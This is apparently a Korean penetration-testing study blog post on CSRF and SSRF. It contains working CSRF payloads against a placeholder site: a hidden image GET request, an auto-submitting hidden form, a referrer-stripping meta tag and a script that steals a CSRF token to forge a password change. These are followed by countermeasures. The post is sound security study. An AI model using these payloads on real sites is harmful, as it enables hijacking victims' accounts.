CSRF(Cross Side Request Forgery)
CSRF : 피해자가 자도 모르게 서버에게 피해자의 세션을 이용한 임의의 요청을 보내게 만드는 공격
CSRF 공격은 피해자의 세션이 성립 된 상태에서 모든 요청이 일어나는 곳에서 공격이 일어날 수 있다
주로 피해자의 민감한 정보를 수정, 삭제가 이뤄지는 페이지를 취약점으로 판단할 수 있다
★★ XSS 공격 vs CSRF 공격 차이
XSS 공격은 악의적인 스크립트가 클라이언트에서 실행되는 공격이고,
CSRF 공격은 악의적인 스크립트가 서버에 요청이되는 공격이다
CSRF 공격 기법
[1] GET Method
취약점 페이지가 GET 메서드 방식의 페이지 일 경우
[1-1] URL 파라미터에 공격자가 원하는 공격 코드를 삽입한다
[1-2] 공격자가 만든 URL을 HTML <img> 태그, <a> 태그 등을 이용하여 피해자가 볼 수 있게 만든다
<img src="http://www.test.com/update.php?pw=1234" style="display:none"/>
[2] POST Method"
취약점 페이지가 POST 메서드 방식의 페이지 일 경우
[2-1] 같은 도메인에서 XSS 취약점을 무조건 찾는다!! -> 피해자의 세션을 사용해야하기 때문에
[2-2] XSS 취약점에서 HTML <form>태그와 <iframe> Javascript 함수를 이용해서 파라미터를 전달한다
<form method="POST" target="sFrame" action="update.php">
<input type="hidden" name="pw" value="1234"/>
</form>
<iframe name="sFrame" src="www.test.com" style="display:none;"></iframe>
<script>
document.forms[0].submit();
</script>
[3] Referer Bypass
Referer 체크를 하는 페이지일 경우
[3-1] meta 태그를 이용해서 우회를 한다
[3-2] 만약 meta 태그를 사용하지 못한다면 우회하기 힘들다
<meat name="referrer" content="no-referrer">
[4] CSRF Token
[4-1] XSS 공격이 가능하다면 우회가 가능하다
[4-2] XSS 취약점에서 HTML <form>태그와 <iframe> Javascript 함수를 이용해서 CSRF Token을 파싱한다
[4-3] 파싱한 CSRF Token과 변조할 데이터를 Post 메서드에서 사용한 공격 방식을 이용한다
<iframe id="csrf_get_token" src="./mypage.php" onload="getCsrfToken()" style="display:none;"></iframe>
<form method="POST" id="csrfForm" target="stealthFrame" action="update.php">
<input type="hidden" name="pw" value="1234"/>
<input type="hidden" name="csrfToken" value=""/>
</form>
<iframe name="stealthFrame" src="test.com" style="display:none;"></iframe>
<script>
const getCsrfToken = () => {
var csrfToken = document.getElementById('csrf_get_token').contentDocument.forms[0].csrfToken.value;
document.getElementById('csrfForm').csrfToken.value = csrfToken;
document.getElementById('csrfForm').submit();
}
</script>
대응 방안
[1] 민감한 정보를 수정, 삭제할 때 인증정보를 추가한다
예를 들어 기존 비밀번호를 입력받거나, 문자, 이메일 인증을 추가로 받게 한다
[2] Referer 검증, CSRF Token을 추가한다
Referer 검증 CSRF 토큰을 사용하여 요청을 위조하는 것을 막는다
[3] XSS 취약점을 대응한다
XSS 취약점이 발견되는 곳에 먼저 HTML 특수문자 HTML Entity치환을 한다
그 후 화이트 리스트로 사용가능한 HTML 태그와 특수문자를 허용하고
블랙 리스트로 필터링하여 XSS 취약점을 대응한다
SSRF(Server Side Request Forgery)
SSRF : 서버가 임의의 요청을 하게 만드는 공격
SSRF 공격은 일반 사용자가 접근 할 수 없는 서버 내부에 접근하여 악의적인 스크립트나 악성 파일을 올리는 등 공격 행위가 가능해 진다
서버가 외부 자원(리소스)를 이용하는 곳에서 파라미터로 URL을 받는 페이지에서 일어난다
SSRF 공격을 막기 위해서는 URL을 파라미터로 받지 않게 페이지를 구현한다
'모의해킹 공부 > 모의해킹 스터디' 카테고리의 다른 글
[0601 Day10] File Upload (8) | 2023.06.02 |
---|---|
[0518 Day08] XSS & CSRF (0) | 2023.05.19 |
[0511 Day07] XSS(Cross Site Scripting)-02 (0) | 2023.05.12 |
[0504 Day06] XSS(Cross Site Scripting)-01 (0) | 2023.05.05 |
[0427 Day05] SQL Injection-03 (1) | 2023.04.28 |